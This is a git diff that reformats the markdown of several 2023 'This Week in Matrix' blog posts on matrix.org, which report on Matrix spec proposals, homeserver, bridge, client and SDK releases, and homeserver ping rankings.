[`accept_invitation`](https://github.com/matrix-org/matrix-rust-sdk/pull/1776) -> - [tracing (structured logging)](https://github.com/matrix-org/matrix-rust-sdk/pull/1692) +> * [Getting the inviter for a room in invite state](https://github.com/matrix-org/matrix-rust-sdk/pull/1738) +> * [`InReplyToDetails`](https://github.com/matrix-org/matrix-rust-sdk/pull/1748) +> * [`accept_invitation`](https://github.com/matrix-org/matrix-rust-sdk/pull/1776) +> * [tracing (structured logging)](https://github.com/matrix-org/matrix-rust-sdk/pull/1692) > * And as usual, a bunch of bugfixes, cleanup and refactoring ## Dept of Services 🚀 @@ -175,7 +179,7 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [imbev](https://matrix.to/#/@imbev:matrix.org) reports > [activepieces](https://www.activepieces.com/) is a No-code Business Automation Tool and a FOSS alternative to Zapier. -> +> > Following my pull request, activepieces has added support for sending messages to Matrix. ## Dept of Ping @@ -183,6 +187,7 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -199,6 +204,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|aguiarvieira.pt|4309| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/04/2023-04-28-twim.md b/content/blog/2023/04/2023-04-28-twim.md index 8bee45886..42aa6a941 100644 --- a/content/blog/2023/04/2023-04-28-twim.md +++ b/content/blog/2023/04/2023-04-28-twim.md @@ -25,36 +25,36 @@ category = ["This Week in Matrix"] [Thib](https://matrix.to/#/@thib:ergaster.org) says > Some of you might have heard of it, but we're about to launch a (long overdue) update of the matrix.org website! The current one has served us well, but it grew organically as exciting projects and features were added to it. It became a little impractical to navigate and sometimes confusing. -> +> > The new matrix.org website, nicknamed "Zola" [after the static site generator it uses](https://www.getzola.org/), is not just a fresh coat of paint on the website: it's a complete rewrite to address three kind of people who would browse the website. Sorted by time they're willing to spend on a web page: -> +> > * The general public, who is not tech savvy and doesn't want to understand how things work, but who wants to get an easy onboarding -> * Community managers, who are not _too_ tech savvy but are willing to spend a bit of time to understand more advanced use cases +> * Community managers, who are not *too* tech savvy but are willing to spend a bit of time to understand more advanced use cases > * Developers who want to understand how matrix works, and who want to build & break things! -> -> We're in the final stages of developing the website, and _we need you_ to help us making it ready! Head to [the preview of the website](https://matrix.turbo.fish/), use the website, and give is feedback by opening [an issue on the website tracker](https://github.com/matrix-org/matrix.org/issues). Please make sure the issue doesn't [already exist before opening it](https://github.com/matrix-org/matrix.org/issues?q=is%3Aissue+is%3Aopen+label%3Azola). -> +> +> We're in the final stages of developing the website, and *we need you* to help us making it ready! Head to [the preview of the website](https://matrix.turbo.fish/), use the website, and give is feedback by opening [an issue on the website tracker](https://github.com/matrix-org/matrix.org/issues). Please make sure the issue doesn't [already exist before opening it](https://github.com/matrix-org/matrix.org/issues?q=is%3Aissue+is%3Aopen+label%3Azola). +> > Reporting the following is particularly helpful: -> +> > * Something looks off, misplaced, is not aligned well or behaves oddly > * Something is missing (the doc is incomplete? Some informationg is missing somewhere?) > * There's an accessibility issue > * Something doesn't work on your browser > * It's not clear how to get to a particular information (you're looking for a client or a SDK, and after visiting the website you still don't know which one to use or how to get it?) -> +> > We still need to: -> +> > * Finish up the Bots page (which will likely be replaced by an [Integrations](https://github.com/matrix-org/matrix.org/issues/1539#issuecomment-1444180681) page) > * Flesh out the support page to highlight more of the work of the Matrix.org Foundation > * Import the historical projects that are no longer maintained (clients, servers, bots, bridges, sdks) -> +> > If you want to follow along, you can join the #matrix.org-website:matrix.org room. -> +> > Help us make the website look as neat as possible for launch! [Matthew](https://matrix.to/#/@matthew:matrix.org) reports -> The UK's online safety bill is a catastrophe in the making, and as currently written empowers the UK telecoms industry regulator (OFCOM) to obligate end-to-end encrypted messaging apps to embed proprietary 3rd party scanning software which attempts to identify and flag abusive content and report it to the authorities. **If you are in the UK, please sign this petition https://petition.parliament.uk/petitions/634725 to try to force the government to reconsider**. Element, for instance, would rather be blocked by the UK govt from the app stores than embed third party scanning technology. For more info: https://element.io/blog/the-uks-online-safety-bill-undermines-everyones-safety/ and https://element.io/blog/the-online-safety-bill-an-attack-on-encryption/ +> The UK's online safety bill is a catastrophe in the making, and as currently written empowers the UK telecoms industry regulator (OFCOM) to obligate end-to-end encrypted messaging apps to embed proprietary 3rd party scanning software which attempts to identify and flag abusive content and report it to the authorities. **If you are in the UK, please sign this petition to try to force the government to reconsider**. Element, for instance, would rather be blocked by the UK govt from the app stores than embed third party scanning technology. For more info: and @@ -62,42 +62,46 @@ category = ["This Week in Matrix"] [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) reports -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals. -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> > ## MSC Status -> +> > **New MSCs:** +> > * [MSC-4004: unified view of identity service](https://github.com/matrix-org/matrix-spec-proposals/pull/4004) > * [MSC4003: Semantic table attributes](https://github.com/matrix-org/matrix-spec-proposals/pull/4003) -> * [MSC4002: Walkie talkie ](https://github.com/matrix-org/matrix-spec-proposals/pull/4002) -> +> * [MSC4002: Walkie talkie](https://github.com/matrix-org/matrix-spec-proposals/pull/4002) +> > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* -> +> > **Accepted MSCs:** +> > * [MSC3987: Push actions clean-up](https://github.com/matrix-org/matrix-spec-proposals/pull/3987) > * [MSC3952: Intentional Mentions](https://github.com/matrix-org/matrix-spec-proposals/pull/3952) > * [MSC2746: Improved VoIP Signalling](https://github.com/matrix-org/matrix-spec-proposals/pull/2746) > * [MSC2246: Asynchronous media uploads](https://github.com/matrix-org/matrix-spec-proposals/pull/2246) -> +> > **Closed MSCs:** +> > * *No MSCs were closed/rejected this week.* -> -> +> +> > ## Spec Updates -> +> > Lots of MSCs moving through the process this week. I'm particularly excited about [MSC3952: Intentional Mentions](https://github.com/matrix-org/matrix-spec-proposals/pull/3952), which modifies the default push rules to only generate a notification if the sender's client has specifically intended to mention you. That's a really impactful, user-facing feature! -> +> > The other MSCs on the list, especially [MSC2246: Asynchronous media uploads](https://github.com/matrix-org/matrix-spec-proposals/pull/2246), bring quality-of-life improvements and unlock future functionality in Matrix. Check them out! -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3189: Per-room/per-space profiles](https://github.com/matrix-org/matrix-spec-proposals/pull/3189)! -> +> > [MSC3189](https://github.com/matrix-org/matrix-spec-proposals/pull/3189) proposes a concept of per-room/per-space profiles within Matrix, allowing users to have different display names and avatars across their various rooms and spaces. To do so, an optional query parameter scope is added to all profile-related endpoints. When specified, the scope defines the profile that should be used to complete that action. -> +> > That way you can represent yourself in a business context in one space, and a less serious context in another space. Short of profile-rooms, this would get us a fair way towards having multiple public profiles in Matrix! -> +> > Check out the MSC if you're interested. Reviews are always welcome! ## Dept of Servers 🏢 @@ -109,12 +113,13 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Shay](https://matrix.to/#/@shayshay:matrix.org) says > How is it Friday again?? This week the Synapse team released 1.82.0. Here are a few of the highlights: +> > * Allow loading the `/capabilities` endpoint on workers. -> * Improve robustness when handling a perspective key response by deduplicating received server keys. -> * Synapse now correctly fails to start if the config option `app_service_config_files` is not a list. +> * Improve robustness when handling a perspective key response by deduplicating received server keys. +> * Synapse now correctly fails to start if the config option `app_service_config_files` is not a list. > * Speed up the user directory background update. -> -> and much more. If you'd like to take a deep dive into the changes, you can find the release notes [here](https://github.com/matrix-org/synapse/releases/tag/v1.82.0) and as always, if you encounter a bug feel free to report it at https://github.com/matrix-org/synapse/issues/new/choose. +> +> and much more. If you'd like to take a deep dive into the changes, you can find the release notes [here](https://github.com/matrix-org/synapse/releases/tag/v1.82.0) and as always, if you encounter a bug feel free to report it at . ### Construct ([website](https://github.com/matrix-construct/construct)) @@ -122,12 +127,10 @@ A performance-oriented homeserver with minimal dependencies. [Jason Volk](https://matrix.to/#/@jevolk:matrix.org) reports -> # Construct ([website](https://github.com/matrix-construct/construct)) -> > 🔒 This week some follow-up work further improving **End-to-End Encryption** took place. Compatibility between Nheko and Element devices through Construct have been fixed. About two weeks ago my quality assessment of **e2ee** through Construct was about 30%. Last week saw [major progress](https://matrix.org/blog/category/this-week-in-matrix#construct-website) but we were still maxing out around 70%. This week is closer to 90%; a few UISI's are still happening in some places such as a user's first message to an encrypted room. We'll have that worked out soon enough. -> +> > 🙋 I'd like to thank Giovanni Bottaro for fixing some compatibility issues with the Dart Matrix SDK (Fluffychat) by replacing some HTTP 201 (Created) codes returned by Construct with HTTP 200's instead. -> +> > 🚀 Tell us how important reliable **e2ee** is to you in [#test:zemos.net](https://matrix.to/#/#test:zemos.net) today. ## Dept of Bridges 🌉 @@ -137,21 +140,21 @@ A performance-oriented homeserver with minimal dependencies. [Jeremiah K](https://matrix.to/#/@jeremiah:scamdemic.wtf) announces > This handy tool bridges Meshtastic channels and Matrix rooms 1:1, and is built using matrix-nio. -> +> > For those unfamiliar with Meshtastic, it's a project enabling encrypted long-distance messaging via decentralized LoRa meshnets, using affordable devices. LoRa is license-free and certification-free in most of the world, making it accessible for everyone. Radios automatically rebroadcast messages, creating a mesh network for group communication—even from the furthest member. The Meshtastic mesh can sustain up to 80 device nodes, depending on settings. -> +> > Naturally, we wanted to integrate this incredible tech with Matrix. -> +> > **M<>M Relay's Features:** -> +> > * Bidirectional message relay between Meshtastic meshnets and Matrix chat rooms, supporting multiple meshnets > * Serial and network connections to Meshtastic devices > * Truncation of long messages to fit within Meshtastic's payload size > * Extended features via plugins, such as meshnet health plugin analyzing telemetry data and providing network stats > * E2EE support is planned, but not yet implemented (we appreciate any help!) -> +> > We're excited about extending our meshnets' range using existing Matrix bridges. Learn more and download the files [here](https://github.com/geoffwhittington/meshtastic-matrix-relay). -> +> > Join our [#meshtastic-relay-1:matrix.org](https://matrix.to/#/#meshtastic-relay-1:matrix.org) where we currently have 3 meshnets connected. If you have Meshtastic devices, we'd love help with testing, but all users are welcome. ### matrix-hookshot ([website](https://github.com/Half-Shot/matrix-hookshot)) @@ -161,18 +164,18 @@ A multi purpose multi platform bridge, formerly known as matrix-github [Andrew F (UTC+9)](https://matrix.to/#/@andrewf:element.io) reports > ### Hookshot 4.0.0 makes its debut -> +> > Greetings all; Hookshot latest release is out, along with some exciting news! -> +> > You may recall the TWIM post for 2.6.0 from back in January having announced [Encrypted Room Support](https://matrix-org.github.io/matrix-hookshot/latest/advanced/encryption.html), though not without warnings of it being experimental & not quite ready for prime time. Well, the latest release changes all that: **encrypted room support is much more stable now,** as we've collaborated with the fine folks behind the [matrix-sdk-crypto Rust library](https://www.npmjs.com/package/@matrix-org/matrix-sdk-crypto-nodejs) to squash some of the biggest bugs that had been plaguing Hookshot. Encryption support even works for [Service Bots](https://matrix-org.github.io/matrix-hookshot/latest/advanced/service_bots.html)! -> +> > Other than enabling encryption in your Hookshot's config file, there is no migration necessary to enable these fixes, even if you've already enabled Hookshot's encryption from before this release. Please give it a try and let us know how it goes! -> +> > This release also brings some useful features for RSS feeds: **the ability to customize the format of feed messages**, and **the option to toggle posting messages for feed failures.** This provides much more control & peace of mind over your feed messages, so give them a try & enjoy! -> +> > Finally, to align with [the recent release of Node 20](https://nodejs.org/en/blog/announcements/v20-release-announce), this latest Hookshot release **adds support for Node 20, and drops support for Node 16.** The latter is due to Hookshot's policy of supporting only LTS & Active releases of Node. So, please ensure to update your Node versions if needed. -> -> The release is available at https://github.com/matrix-org/matrix-hookshot/releases/tag/4.0.0, or by doing `docker pull halfshot/matrix-hookshot:4.0.0`. And as usual, feel free to direct any questions about Hookshot in our Matrix room: [#hookshot:half-shot.uk](https://matrix.to/#/#hookshot:half-shot.uk) +> +> The release is available at , or by doing `docker pull halfshot/matrix-hookshot:4.0.0`. And as usual, feel free to direct any questions about Hookshot in our Matrix room: [#hookshot:half-shot.uk](https://matrix.to/#/#hookshot:half-shot.uk) ### matrix-appservice-irc ([website](https://github.com/matrix-org/matrix-appservice-irc)) @@ -181,24 +184,24 @@ Node.js IRC bridge for Matrix [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) announces > ### Major new 1.0.0-rc1 for the IRC bridge -> -> Friday's greetings TWIM. On June 15th, 2018 I submitted my first pull request to matrix-appservice-irc. Little did I know then, that nearly 5 years later I would now be announcing the [1.0.0](https://github.com/matrix-org/matrix-appservice-irc/releases/tag/1.0.0-rc1) release candidate of the IRC bridge. This release brings a major new component, which is the ability to [restart the bridge _in place_](https://www.youtube.com/watch?v=1VKBD_6PTvs). This allows us to effectively do noise-less restarts of our larger bridges (in nearly all cases). This should also give us quite a bit more headroom on the bridge, so performance should improve. -> +> +> Friday's greetings TWIM. On June 15th, 2018 I submitted my first pull request to matrix-appservice-irc. Little did I know then, that nearly 5 years later I would now be announcing the [1.0.0](https://github.com/matrix-org/matrix-appservice-irc/releases/tag/1.0.0-rc1) release candidate of the IRC bridge. This release brings a major new component, which is the ability to [restart the bridge *in place*](https://www.youtube.com/watch?v=1VKBD_6PTvs). This allows us to effectively do noise-less restarts of our larger bridges (in nearly all cases). This should also give us quite a bit more headroom on the bridge, so performance should improve. +> > The feature is currently marked as experimental but has been tested by the bridge crew fairly extensively, so the major wrinkles should have been ironed out by now. We'd really appreciate feedback, so please [try it out](https://matrix-org.github.io/matrix-appservice-irc/latest/connection_pooling.html). -> +> > We've also bumped the minimum required version of the bridge to Node 18 to slightly get ahead of the curve, as Node 16 is due to lose support later this year. -> +> > Notable changes for this release include: -> +> > * IRC connections can now be run via an external process using "connection pooling", allowing the bridge to be restarted without IRC connection loss. ([#1669](https://github.com/matrix-org/matrix-appservice-irc/issues/1669)) > * Bridge logging can now be hot-reloaded. ([#1704](https://github.com/matrix-org/matrix-appservice-irc/issues/1704)) > * Fix not handling thread fallbacks as replies. ([#1697](https://github.com/matrix-org/matrix-appservice-irc/issues/1697)) > * Show a helpful error for !link/!unlink admin failures, rather than "Check the logs for details", in more cases. ([#1702](https://github.com/matrix-org/matrix-appservice-irc/issues/1702)) > * Fix documentation not being built and uploaded to GitHub pages on release. ([#1703](https://github.com/matrix-org/matrix-appservice-irc/issues/1703)) > * Fix linking rooms from setup widget when a `networkId` is configured. ([#1706](https://github.com/matrix-org/matrix-appservice-irc/issues/1706)) -> -> Please report any bugs in https://github.com/matrix-org/matrix-appservice-irc/issues. -> +> +> Please report any bugs in . +> > Thanks for your continued support! ## Dept of Clients 📱 @@ -210,9 +213,9 @@ Secure and independent communication, connected via Matrix. Come talk with us in [andybalaam](https://matrix.to/#/@andybalaam:matrix.org) reports > * Recursive relations MSC to improve stuck notifications is moving forwards. Along with some other major steps forward in our investigation into stuck notifications we’re feeling confident that our next few releases will significantly reduce the amount of issues in this area. -> -> - We’re also still working on updating the Settings screen for notifications. -> - The Intentional mentions MSC passed its FCP this week so work to stabilize it will begin soon. +> +> * We’re also still working on updating the Settings screen for notifications. +> * The Intentional mentions MSC passed its FCP this week so work to stabilize it will begin soon. > * We’re smashing through accessibility bugs and working closely with our design team to address larger concerns such as text sizes and color contrasts. ### Element X iOS ([website](https://element.io)) @@ -222,7 +225,7 @@ Everything related to Element but not strictly bound to a client [Ștefan](https://matrix.to/#/@stefan.ceriu:matrix.org) reports > * progress is being made on improving the the sliding sync integration and our focus for the upcoming week is to ensure that our integration tests are asserting the right things to support these steps forwards. -> * the Room List has also seen an update this week, specifically the sorting functionality ensuring that only rooms with new messages move up the stack. +> * the Room List has also seen an update this week, specifically the sorting functionality ensuring that only rooms with new messages move up the stack. > * push notifications work is ongoing as as we’re implementing local notification handlers > * and we’re also working on OIDC support, media uploading, the design system and generally improving our stack @@ -234,8 +237,8 @@ Native Decentralised End-to-end Encrypted Group Calls in Matrix, as a standalone [Florian Heese](https://matrix.to/#/@fheese:element.io) reports -> Hello from the VoIP team, -> +> Hello from the VoIP team, +> > We have shipped Element Call release 0.3.8 today -- still in beta. In order to get a data driven approach towards getting out of beta we added a bunch of telemetry to Element Call in our previous release using the Open Telemetry framework. And in the meantime we gathered together with submitted rage-shakes (also now backed by Open Telemetry) meaningful insights which enabled us to identify and fix two major split-brain issues. You will find the full list of changes in the [release notes](https://github.com/vector-im/element-call/releases/tag/v0.3.8). ## Dept of SDKs and Frameworks 🧰 @@ -245,14 +248,14 @@ Native Decentralised End-to-end Encrypted Group Calls in Matrix, as a standalone [td](https://matrix.to/#/@td:technodisaster.com) says > We released another breaking change this week :p bump to v0.19.0, the main features/changes from last time include: -> +> > * Upgrading to matrix api 1.6 > * Private read receipts support > * Fixed an issue where loading archive returned a stale version. Since different sync timeouts bust through the cache, we make use of that to be able to load the new archive immediately. > * There's also a way for clients to provide media streams when starting a call, which should make setting up calls with audio/video mute toggles much easier > * Stopping media streams properly for calls > and several other fixes! -> +> > Until next time :D ### Trinity @@ -260,9 +263,9 @@ Native Decentralised End-to-end Encrypted Group Calls in Matrix, as a standalone [bnjbvr](https://matrix.to/#/@bnjbvr:delire.party) says > Long time no see! A few new shiny things have landed recently: -> +> > * Trinity now supports reading the wasm commands from multiple, custom directories. Of course, all of these are watched by Trinity so any module in there will be instantaneously hot-loaded as usual. -> * Trinity has been [dockerized](https://hub.docker.com/r/bnjbvr/trinity)! It's now possible to start Trinity in a Docker environment, provided [a few environment variables and configuration options](https://github.com/bnjbvr/trinity#deploy-with-docker). In particular, thanks to the previous change, it's also possible to hack _only_ on the commands, and not have to compile the host runtime on your machine yourself. +> * Trinity has been [dockerized](https://hub.docker.com/r/bnjbvr/trinity)! It's now possible to start Trinity in a Docker environment, provided [a few environment variables and configuration options](https://github.com/bnjbvr/trinity#deploy-with-docker). In particular, thanks to the previous change, it's also possible to hack *only* on the commands, and not have to compile the host runtime on your machine yourself. > * We've also started experimenting with higher-level Rust traits to simplify even more the [implementation of commands](https://github.com/bnjbvr/trinity/blob/main/modules/pun/src/lib.rs#L35-L57). If you have any feedback about this, or opinions about developer ergonomics for implementing Matrix bots in general, come over the [#trinity:delire.party](https://matrix.to/#/#trinity:delire.party) channel and let's chat about that! ### matrix-rust-sdk ([website](https://github.com/matrix-org/matrix-rust-sdk)) @@ -272,11 +275,11 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [Jonas Platte](https://matrix.to/#/@jplatte:flipdot.org) says > This week, there's two highlights: -> +> > * We've got [basic notification support](https://github.com/matrix-org/matrix-rust-sdk/pull/1796) in the FFI layer -> - A lot of plumbing is still necessary before this can be used from a separate notification process as required on mobile platforms though +> * A lot of plumbing is still necessary before this can be used from a separate notification process as required on mobile platforms though > * [SQLite is now supported](https://github.com/matrix-org/matrix-rust-sdk/pull/1807) as a state store backend -> - It will soon become the default for both the crypto and state stores +> * It will soon become the default for both the crypto and state stores ### libQuotient ([website](https://github.com/quotient-im/libQuotient)) @@ -285,15 +288,15 @@ A Qt5 library to write cross-platform clients for Matrix [kitsune](https://matrix.to/#/@kitsune:matrix.org) says > ## libQuotient 0.7.2 -> -> +> +> > I'm trying to get to senses and make releases a bit more often than before - so here's libQuotient 0.7.2, with massive internal code cleanup work carried out by Volker (@vkrause:kde.org) and a few functional fixes. The release notes are at [the usual place](https://github.com/quotient-im/libQuotient/releases/tag/0.7.2). -> +> > This is likely the last 0.7.x release of libQuotient - after discussions within the team we agreed to prioritise a release of libQuotient 0.8 to fix a few API shortcomings in the current codebase (around E2EE but not only). This means that the final Quaternion 0.0.96 is unlikely to be released for another month or so, as it will be done on libQuotient 0.8 as well. [Tobias Fella](https://matrix.to/#/@tobiasfella:kde.org) announces - -> In addition to the 0.7.2 release, we've been working on improving the documentation for libQuotient. You can now see an up-to-date version of the documentation at https://quotient-im.github.io/libQuotient + +> In addition to the 0.7.2 release, we've been working on improving the documentation for libQuotient. You can now see an up-to-date version of the documentation at ## Dept of Ops 🛠 @@ -302,14 +305,15 @@ A Qt5 library to write cross-platform clients for Matrix [f0x](https://matrix.to/#/@f0x:pixie.town) announces > I've been working on refactoring one of my older projects, [synapse-media-proxy](https://git.pixie.town/f0x/synapse-media-proxy), which separates the media repository from Synapse (similar to [matrix-media-repo](https://github.com/turt2live/matrix-media-repo)), but instead only acting as a caching proxy layer. This keeps the media in long-term storage at the homeserver (which is literally at home in my case, behind a slower residential line), but serves requests as fast as possible from a cheap VPS which keeps a minimal in-memory cache. -> +> > The refactor includes a lot of general cleanup/rework, but also moves the caching from in-process caches to a separate Redis database, as my previous implementation had some memory leakage. While not quite finished yet (no uploads, url previews), preliminary benchmarks for downloads and thumbnailing are very promising, way faster than both the original implementation and normal synapse. Benchmarks were done with [wrk](https://github.com/wg/wrk), all against localhost on the same machine for a fair comparison. -> +> > You can see the progress by comparing branches [here](https://git.pixie.town/f0x/synapse-media-proxy/compare/main...refactor-redis) -> +> > ([some benchmarks detailed omitted for space, see them here](https://u.pixie.town/pixie.town/NwOvyeRwhAQRzNgMCXfwUCIO)) > **synapse-media-proxy refactor** -> ``` +> +> ```txt > Running 1m test @ download/pixie.town/Nrp1oyUgHirgm7gDSlDvHutM > Requests/sec: 478.23 > Transfer/sec: 2.84GB @@ -318,9 +322,10 @@ A Qt5 library to write cross-platform clients for Matrix > Requests/sec: 5405.62 > Transfer/sec: 23.18MB > ``` -> +> > **synapse-media-proxy original** -> ``` +> +> ```txt > Running 1m test @ download/pixie.town/Nrp1oyUgHirgm7gDSlDvHutM > Requests/sec: 160.01 > Transfer/sec: 0.95GB @@ -330,9 +335,10 @@ A Qt5 library to write cross-platform clients for Matrix > Requests/sec: 43.07 > Transfer/sec: 141.64KB > ``` -> +> > **Synapse** -> ``` +> +> ```txt > Running 1m test @ download/pixie.town/Nrp1oyUgHirgm7gDSlDvHutM > Requests/sec: 59.71 > Transfer/sec: 369.38MB @@ -342,6 +348,7 @@ A Qt5 library to write cross-platform clients for Matrix > Requests/sec: 321.01 > Transfer/sec: 263.01KB > ``` +> > (note a lot of those requests returned non-2xx/3xx responses, failing to actually thumbnail) ## Dept of Services 🚀 @@ -352,19 +359,19 @@ A Qt5 library to write cross-platform clients for Matrix > Lack of rooms discovery for new users is one of the issues we noticed while installing and hosting hundreds of Matrix servers on [etke.cc](https://etke.cc/?utm_source=twim) > Today, we welcome you to [MatrixRooms.info](https://matrixrooms.info/), a search engine built for matrix rooms discovery. -> +> > The current index contains over 230,000 rooms across 19,000 servers, and we're constantly tweaking it to provide more relevant search results. > Even non-English users may find it useful because it does automatic language detection in room names and topics. -> +> > We plan the following future improvements: -> +> > * Searching by language > * Searching by specific field > * Providing a browsable catalog of rooms by server/language/etc > * Implementing a subset of the Matrix Server-Server API to request (and provide!) a Matrix-native rooms directory -> +> > [MatrixRooms.info](https://matrixrooms.info/), [Source code](https://gitlab.com/etke.cc/mrs), [#mrs:etke.cc](https://matrix.to/#/#mrs:etke.cc) -> +> > As with anything else we do at [etke.cc](https://etke.cc/?utm_source=twim), the website, its API backend and all related tools are free software (A/GPL). ## Dept of Guides 🧭 @@ -373,13 +380,14 @@ A Qt5 library to write cross-platform clients for Matrix [uhoreg](https://matrix.to/#/@hubert:uhoreg.ca) announces -> I've started writing a Matrix client tutorial, explaining how to use the Matrix Client-Server API. It's still in the very early stages, but I've gotten to the point of being able to write a simple echo bot. I'll be tackling end-to-end encryption next. Feedback is welcome. Client authors, if you have any tips and tricks, or potential pitfalls, that you think that every client author should know, feel free to share. The document can be read at https://uhoreg.gitlab.io/matrix-tutorial/ and the sources are at https://gitlab.com/uhoreg/matrix-tutorial. +> I've started writing a Matrix client tutorial, explaining how to use the Matrix Client-Server API. It's still in the very early stages, but I've gotten to the point of being able to write a simple echo bot. I'll be tackling end-to-end encryption next. Feedback is welcome. Client authors, if you have any tips and tricks, or potential pitfalls, that you think that every client author should know, feel free to share. The document can be read at and the sources are at . ## Dept of Ping Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -396,6 +404,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|rom4nik.pl|3704| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/05/2023-05-05-twim.md b/content/blog/2023/05/2023-05-05-twim.md index fce9930ff..304ecc287 100644 --- a/content/blog/2023/05/2023-05-05-twim.md +++ b/content/blog/2023/05/2023-05-05-twim.md @@ -12,59 +12,63 @@ author = ["Thib"] {{ youtube_player(video_id="4KlNILNItGQ") }} - ## Dept of Social Good 🙆 [Denise](https://matrix.to/#/@denisea:element.io) announces -> we know there have been some questions about the recent ban on Element by the Indian Central Government. We are still trying to get answers ourselves and have put out a public statement on our understanding of the situation so far: https://element.io/blog/india-bans-flagship-client-for-the-matrix-network/ +> we know there have been some questions about the recent ban on Element by the Indian Central Government. We are still trying to get answers ourselves and have put out a public statement on our understanding of the situation so far: ## Dept of Spec 📜 [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) reports -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** +> > * [MSC4011: Thumbnail media negotiation](https://github.com/matrix-org/matrix-spec-proposals/pull/4011) > * [MSC4010: Push rules and account data](https://github.com/matrix-org/matrix-spec-proposals/pull/4010) > * [MSC4009: E.164 Matrix IDs](https://github.com/matrix-org/matrix-spec-proposals/pull/4009) > * [MSC4006: "completed elsewhere" hangup reason.](https://github.com/matrix-org/matrix-spec-proposals/pull/4006) > * [MSC4005: Explicit read receipts for sent events](https://github.com/matrix-org/matrix-spec-proposals/pull/4005) -> +> > **MSCs in Final Comment Period:** +> > * [MSC3882: Allow an existing session to sign in a new session](https://github.com/matrix-org/matrix-spec-proposals/pull/3882) (merge) > * [MSC3860: Media Download Redirects](https://github.com/matrix-org/matrix-spec-proposals/pull/3860) (merge) > * [MSC2659: Application service ping endpoint](https://github.com/matrix-org/matrix-spec-proposals/pull/2659) (merge) > * [MSC2463: Exclusion of MXIDs in push rules content matching](https://github.com/matrix-org/matrix-spec-proposals/pull/2463) (close) > * [MSC2249: Require users to have visibility on an event when submitting reports](https://github.com/matrix-org/matrix-spec-proposals/pull/2249) (merge) -> +> > **Accepted MSCs:** +> > * *No MSCs were accepted this week.* -> +> > **Closed MSCs:** +> > * *No MSCs were closed/rejected this week.* -> +> > ## Spec Updates +> > Lots of MSCs moving through the pipeline this week! Plus a myriad of [spec changes](https://github.com/matrix-org/matrix-spec/pulls?q=is%3Apr+is%3Aclosed) too! The spec seems to be gently humming along. -> +> > In other news, the next release of the spec, v1.7, is coming up in the not-too-distant future. In keeping with our roughly quarterly release schedule - the release of v1.6 was on February 14th, 2023 - a new release of the spec should come some time in next few weeks. -> +> > We haven't set a date yet, but expect to do so soon. So watch this space! -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3741: Revealing the useful login flows to clients after a soft logout](https://github.com/matrix-org/matrix-spec-proposals/pull/3741)! -> +> > This MSC fixes an edge case in the spec. Imagine the following scenario. You're logged into your homeserver via an SSO flow (let's say by signing into GitLab), and then you try to change your password on GitLab. Doing so may cause a "soft logout" to occur for your Matrix client. A soft logout, by the way, happens when your access token is invalidated, but your client is told explicitly not to wipe its local state (including encryption keys). -> +> > Your Matrix client is telling you to log back in again, and in doing so calls out to the [`GET /_matrix/client/v3/login`](https://spec.matrix.org/v1.6/client-server-api/#get_matrixclientv3login) endpoint to see what login methods are available. Your homeserver supports both password-based and SSO-based login, so that's what you get back. Your client happily presents you both options. You try to type your GitLab password, but it's incorrect. And you've just given your GitLab password to this Matrix homeserver in plaintext - oh no! -> +> > The problem here stems from the fact that `GET /login` is unauthenticated. The homeserver doesn't know who you are when you attempt to log in again, and thus can't tailor the available login methods to those that make sense for you. This MSC aims to fix this by having your Matrix client, upon trying to learn how to log in again after a soft logout, provide your expired access token in an `Authorization` request header. The homeserver can then check and see that 1) you were just soft logout'd and 2) you are an account that is authorised via SSO - so it doesn't make sense to suggest you log in again via a password specific to your Matrix homeserver! -> +> > While this MSC discusses a valuable solution, it is worth considering that the [User-Interactive Authentication system](https://spec.matrix.org/v1.6/client-server-api/#user-interactive-authentication-api) as a whole is going to be completely replaced by OpenID Connect instead, which will make this problem (and solution) moot. Still, that day is not here yet, so if you suffer from this problem today, this may be one method to deal with it. @@ -79,12 +83,12 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t > It's yet another Friday which means TWIM day. This week the backend team > released Synapse 